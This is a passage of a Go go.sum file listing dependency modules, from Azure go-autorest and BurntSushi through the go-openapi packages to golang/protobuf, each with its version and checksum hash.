github.com/Azure/go-autorest/autorest/date v0.2.0/go.mod h1:vcORJHLJEh643/Ioh9+vPmf1Ij9AEBM5FuBIXLmIy0g=
github.com/Azure/go-autorest/autorest/mocks v0.1.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=
github.com/Azure/go-autorest/autorest/mocks v0.2.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0=
github.com/Azure/go-autorest/autorest/mocks v0.3.0/go.mod h1:a8FDP3DYzQ4RYfVAxAN3SVSiiO77gL2j2ronKKP0syM=
github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc=
github.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/BurntSushi/xgbutil v0.0.0-20160919175755-f7c97cef3b4e/go.mod h1:uw9h2sd4WWHOPdJ13MQpwK5qYWKYDumDqxWWIknEQ+k=
github.com/DataDog/datadog-go v2.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ=
github.com/GeertJohan/go.incremental v1.0.0/go.mod h1:6fAjUhbVuX1KcMD3c8TEgVUqmo4seqhv0i0kdATSkM0=
github.com/GeertJohan/go.rice v1.0.0/go.mod h1:eH6gbSOAUv07dQuZVnBmoDP8mgsM1rtixis4Tib9if0=
github.com/Masterminds/glide v0.13.2/go.mod h1:STyF5vcenH/rUqTEv+/hBXlSTo7KYwg2oc2f4tzPWic=
github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y=
github.com/Masterminds/vcs v1.13.0/go.mod h1:N09YCmOQr6RLxC6UNHzuVwAdodYbbnycGHSmwVJjcKA=
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/PuerkitoBio/goquery v1.5.1/go.mod h1:GsLWisAFVj4WgDibEWF4pvYnkVQBpKBKeU+7zCJoLcc=
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/purell v1.1.1/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/urlesc v0.0.0-20160726150825-5bd2802263f2/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE=
github.com/agnivade/levenshtein v1.0.1/go.mod h1:CURSv5d9Uaml+FovSIICkLbAUZ9S4RqaHDIsdSBg7lM=
github.com/akavel/rsrc v0.8.0/go.mod h1:uLoCtb9J+EyAqh+26kdrTgmzRBFPGOolLWKpdxkKq+c=
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883/go.mod h1:rCTlJbsFo29Kk6CurOXKm700vrz8f0KW0JNfpkRJY/8=
github.com/andybalholm/cascadia v1.1.0/go.mod h1:GsXiBklL0woXo1j/WYWtSYYC4ouU9PqHO0sqidkEA4Y=
github.com/aquarapid/vaultlib v0.5.1/go.mod h1:yT7AlEXtuabkxylOc/+Ulyp18tff1+QjgNLTnFWTlOs=
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-metrics v0.0.0-20190430140413-ec5e00d3c878/go.mod h1:3AMJUQhVx52RsWOnlkpikZr01T/yAVN2gn0861vByNg=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
github.com/asaskevich/govalidator v0.0.0-20180720115003-f9ffefc3facf/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
github.com/aws/aws-sdk-go v1.28.8/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
github.com/axgle/mahonia v0.0.0-20120522011915-5dd783869dfe/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ=
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/buger/jsonparser v0.0.0-20200322175846-f7e751efca13/go.mod h1:tgcrVJ81GPSF0mz+0nu1Xaz0fazGPrmmJfJtxjbHhUQ=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag=
github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8=
github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI=
github.com/codegangsta/cli v1.20.0/go.mod h1:/qJNoX69yVSKu5o4jLyXAENLRyk1uhi7zkbQ3slBdOA=
github.com/codegangsta/inject v0.0.0-20150114235600-33e0aa1cb7c0/go.mod h1:4Zcjuz89kmFXt9morQgcfYZAYZ5n8WHjt81YYWIwtTM=
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/coreos/pkg v0.0.0-20180108230652-97fdf19511ea/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/corpix/uarand v0.1.1/go.mod h1:SFKZvkcRoLqVRFZ4u25xPmp6m9ktANfbpXZ7SJ0/FNU=
github.com/cpuguy83/go-md2man v1.0.10 h1:BSKMNlYxDvnunlTymqtgONjNnaRV1sTpcovwwjF22jk=
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/cyberdelia/go-metrics-graphite v0.0.0-20161219230853-39f87cc3b432/go.mod h1:xwIwAxMvYnVrGJPe2FKx5prTrnAjGOD8zvDOnxnrrkM=
github.com/daaku/go.zipexe v1.0.0/go.mod h1:z8IiR6TsVLEYKwXAoE/I+8ys/sDkgTzSL0CLnGVd57E=
github.com/davecgh/go-spew v0.0.0-20151105211317-5215b55f46b2/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
github.com/docker/docker v0.7.3-0.20190327010347-be7ac8be2ae0/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk=
github.com/docker/go-units v0.3.3/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
github.com/docker/spdystream v0.0.0-20160310174837-449fdfce4d96/go.mod h1:Qh8CwZgvJUkLughtfhJv5dyTYa91l1fOUCrgjqmcifM=
github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/elazarl/goproxy v0.0.0-20170405201442-c4fc26588b6e/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=
github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=
github.com/emicklei/go-restful v2.9.5+incompatible/go.mod h1:otzb+WCGbkyDHkqmQmT5YD2WR4BBwUdeQoFo8l/7tVs=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/evanphx/json-patch v4.2.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk=
github.com/evanphx/json-patch v4.5.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/felixge/httpsnoop v1.0.1/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/gabriel-vasile/mimetype v1.2.0 h1:A6z5J8OhjiWFV91sQ3dMI8apYu/tvP9keDaMM3Xu6p4=
github.com/gabriel-vasile/mimetype v1.2.0/go.mod h1:6CDPel/o/3/s4+bp6kIbsWATq8pmgOisOPG40CJa6To=
github.com/ghodss/yaml v0.0.0-20150909031657-73d445a93680/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14=
github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M=
github.com/globalsign/mgo v0.0.0-20180905125535-1ca0a4f7cbcb/go.mod h1:xkRDCp4j0OGD1HRkm4kmhM+pmpv3AKq5SU7GMg4oO/Q=
github.com/globalsign/mgo v0.0.0-20181015135952-eeefdecb41b8/go.mod h1:xkRDCp4j0OGD1HRkm4kmhM+pmpv3AKq5SU7GMg4oO/Q=
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=
github.com/go-martini/martini v0.0.0-20170121215854-22fa46961aab/go.mod h1:/P9AEU963A2AYjv4d1V5eVL1CQbEJq6aCNHDDjibzu8=
github.com/go-openapi/analysis v0.0.0-20180825180245-b006789cd277/go.mod h1:k70tL6pCuVxPJOHXQ+wIac1FUrvNkHolPie/cLEU6hI=
github.com/go-openapi/analysis v0.17.0/go.mod h1:IowGgpVeD0vNm45So8nr+IcQ3pxVtpRoBWb8PVZO0ik=
github.com/go-openapi/analysis v0.18.0/go.mod h1:IowGgpVeD0vNm45So8nr+IcQ3pxVtpRoBWb8PVZO0ik=
github.com/go-openapi/analysis v0.19.2/go.mod h1:3P1osvZa9jKjb8ed2TPng3f0i/UY9snX6gxi44djMjk=
github.com/go-openapi/analysis v0.19.5/go.mod h1:hkEAkxagaIvIP7VTn8ygJNkd4kAYON2rCu0v0ObL0AU=
github.com/go-openapi/errors v0.17.0/go.mod h1:LcZQpmvG4wyF5j4IhA73wkLFQg+QJXOQHVjmcZxhka0=
github.com/go-openapi/errors v0.18.0/go.mod h1:LcZQpmvG4wyF5j4IhA73wkLFQg+QJXOQHVjmcZxhka0=
github.com/go-openapi/errors v0.19.2/go.mod h1:qX0BLWsyaKfvhluLejVpVNwNRdXZhEbTA4kxxpKBC94=
github.com/go-openapi/jsonpointer v0.0.0-20160704185906-46af16f9f7b1/go.mod h1:+35s3my2LFTysnkMfxsJBAMHj/DoqoB9knIWoYG/Vk0=
github.com/go-openapi/jsonpointer v0.17.0/go.mod h1:cOnomiV+CVVwFLk0A/MExoFMjwdsUdVpsRhURCKh+3M=
github.com/go-openapi/jsonpointer v0.18.0/go.mod h1:cOnomiV+CVVwFLk0A/MExoFMjwdsUdVpsRhURCKh+3M=
github.com/go-openapi/jsonpointer v0.19.2/go.mod h1:3akKfEdA7DF1sugOqz1dVQHBcuDBPKZGEoHC/NkiQRg=
github.com/go-openapi/jsonpointer v0.19.3/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg=
github.com/go-openapi/jsonreference v0.0.0-20160704190145-13c6e3589ad9/go.mod h1:W3Z9FmVs9qj+KR4zFKmDPGiLdk1D9Rlm7cyMvf57TTg=
github.com/go-openapi/jsonreference v0.17.0/go.mod h1:g4xxGn04lDIRh0GJb5QlpE3HfopLOL6uZrK/VgnsK9I=
github.com/go-openapi/jsonreference v0.18.0/go.mod h1:g4xxGn04lDIRh0GJb5QlpE3HfopLOL6uZrK/VgnsK9I=
github.com/go-openapi/jsonreference v0.19.2/go.mod h1:jMjeRr2HHw6nAVajTXJ4eiUwohSTlpa0o73RUL1owJc=
github.com/go-openapi/jsonreference v0.19.3/go.mod h1:rjx6GuL8TTa9VaixXglHmQmIL98+wF9xc8zWvFonSJ8=
github.com/go-openapi/loads v0.17.0/go.mod h1:72tmFy5wsWx89uEVddd0RjRWPZm92WRLhf7AC+0+OOU=
github.com/go-openapi/loads v0.18.0/go.mod h1:72tmFy5wsWx89uEVddd0RjRWPZm92WRLhf7AC+0+OOU=
github.com/go-openapi/loads v0.19.0/go.mod h1:72tmFy5wsWx89uEVddd0RjRWPZm92WRLhf7AC+0+OOU=
github.com/go-openapi/loads v0.19.2/go.mod h1:QAskZPMX5V0C2gvfkGZzJlINuP7Hx/4+ix5jWFxsNPs=
github.com/go-openapi/loads v0.19.4/go.mod h1:zZVHonKd8DXyxyw4yfnVjPzBjIQcLt0CCsn0N0ZrQsk=
github.com/go-openapi/runtime v0.0.0-20180920151709-4f900dc2ade9/go.mod h1:6v9a6LTXWQCdL8k1AO3cvqx5OtZY/Y9wKTgaoP6YRfA=
github.com/go-openapi/runtime v0.19.0/go.mod h1:OwNfisksmmaZse4+gpV3Ne9AyMOlP1lt4sK4FXt0O64=
github.com/go-openapi/runtime v0.19.4/go.mod h1:X277bwSUBxVlCYR3r7xgZZGKVvBd/29gLDlFGtJ8NL4=
github.com/go-openapi/spec v0.0.0-20160808142527-6aced65f8501/go.mod h1:J8+jY1nAiCcj+friV/PDoE1/3eeccG9LYBs0tYvLOWc=
github.com/go-openapi/spec v0.17.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsdfssdxcBI=
github.com/go-openapi/spec v0.18.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsdfssdxcBI=
github.com/go-openapi/spec v0.19.2/go.mod h1:sCxk3jxKgioEJikev4fgkNmwS+3kuYdJtcsZsD5zxMY=
github.com/go-openapi/spec v0.19.3/go.mod h1:FpwSN1ksY1eteniUU7X0N/BgJ7a4WvBFVA8Lj9mJglo=
github.com/go-openapi/strfmt v0.17.0/go.mod h1:P82hnJI0CXkErkXi8IKjPbNBM6lV6+5pLP5l494TcyU=
github.com/go-openapi/strfmt v0.18.0/go.mod h1:P82hnJI0CXkErkXi8IKjPbNBM6lV6+5pLP5l494TcyU=
github.com/go-openapi/strfmt v0.19.0/go.mod h1:+uW+93UVvGGq2qGaZxdDeJqSAqBqBdl+ZPMF/cC8nDY=
github.com/go-openapi/strfmt v0.19.3/go.mod h1:0yX7dbo8mKIvc3XSKp7MNfxw4JytCfCD6+bY1AVL9LU=
github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I=
github.com/go-openapi/swag v0.17.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
github.com/go-openapi/swag v0.18.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
github.com/go-openapi/swag v0.19.2/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
github.com/go-openapi/validate v0.18.0/go.mod h1:Uh4HdOzKt19xGIGm1qHf/ofbX1YQ4Y+MYsct2VUrAJ4=
github.com/go-openapi/validate v0.19.2/go.mod h1:1tRCw7m3jtI8eNWEEliiAqUIcBztB2KDnRCRMUi7GTA=
github.com/go-openapi/validate v0.19.5/go.mod h1:8DJv2CVJQ6kGNpFW6eV9N3JviE1C85nY1c2z52x1Gk4=
github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A=
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI=
github.com/go-playground/validator/v10 v10.4.1 h1:pH2c5ADXtd66mxoE0Zm9SUhxE20r7aM3F26W0hOn+GE=
github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4=
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
github.com/gogo/protobuf v1.2.2-0.20190723190241-65acae22fc9d/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
github.com/golang/protobuf v0.0.0-20161109072736-4bd1920723d7/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
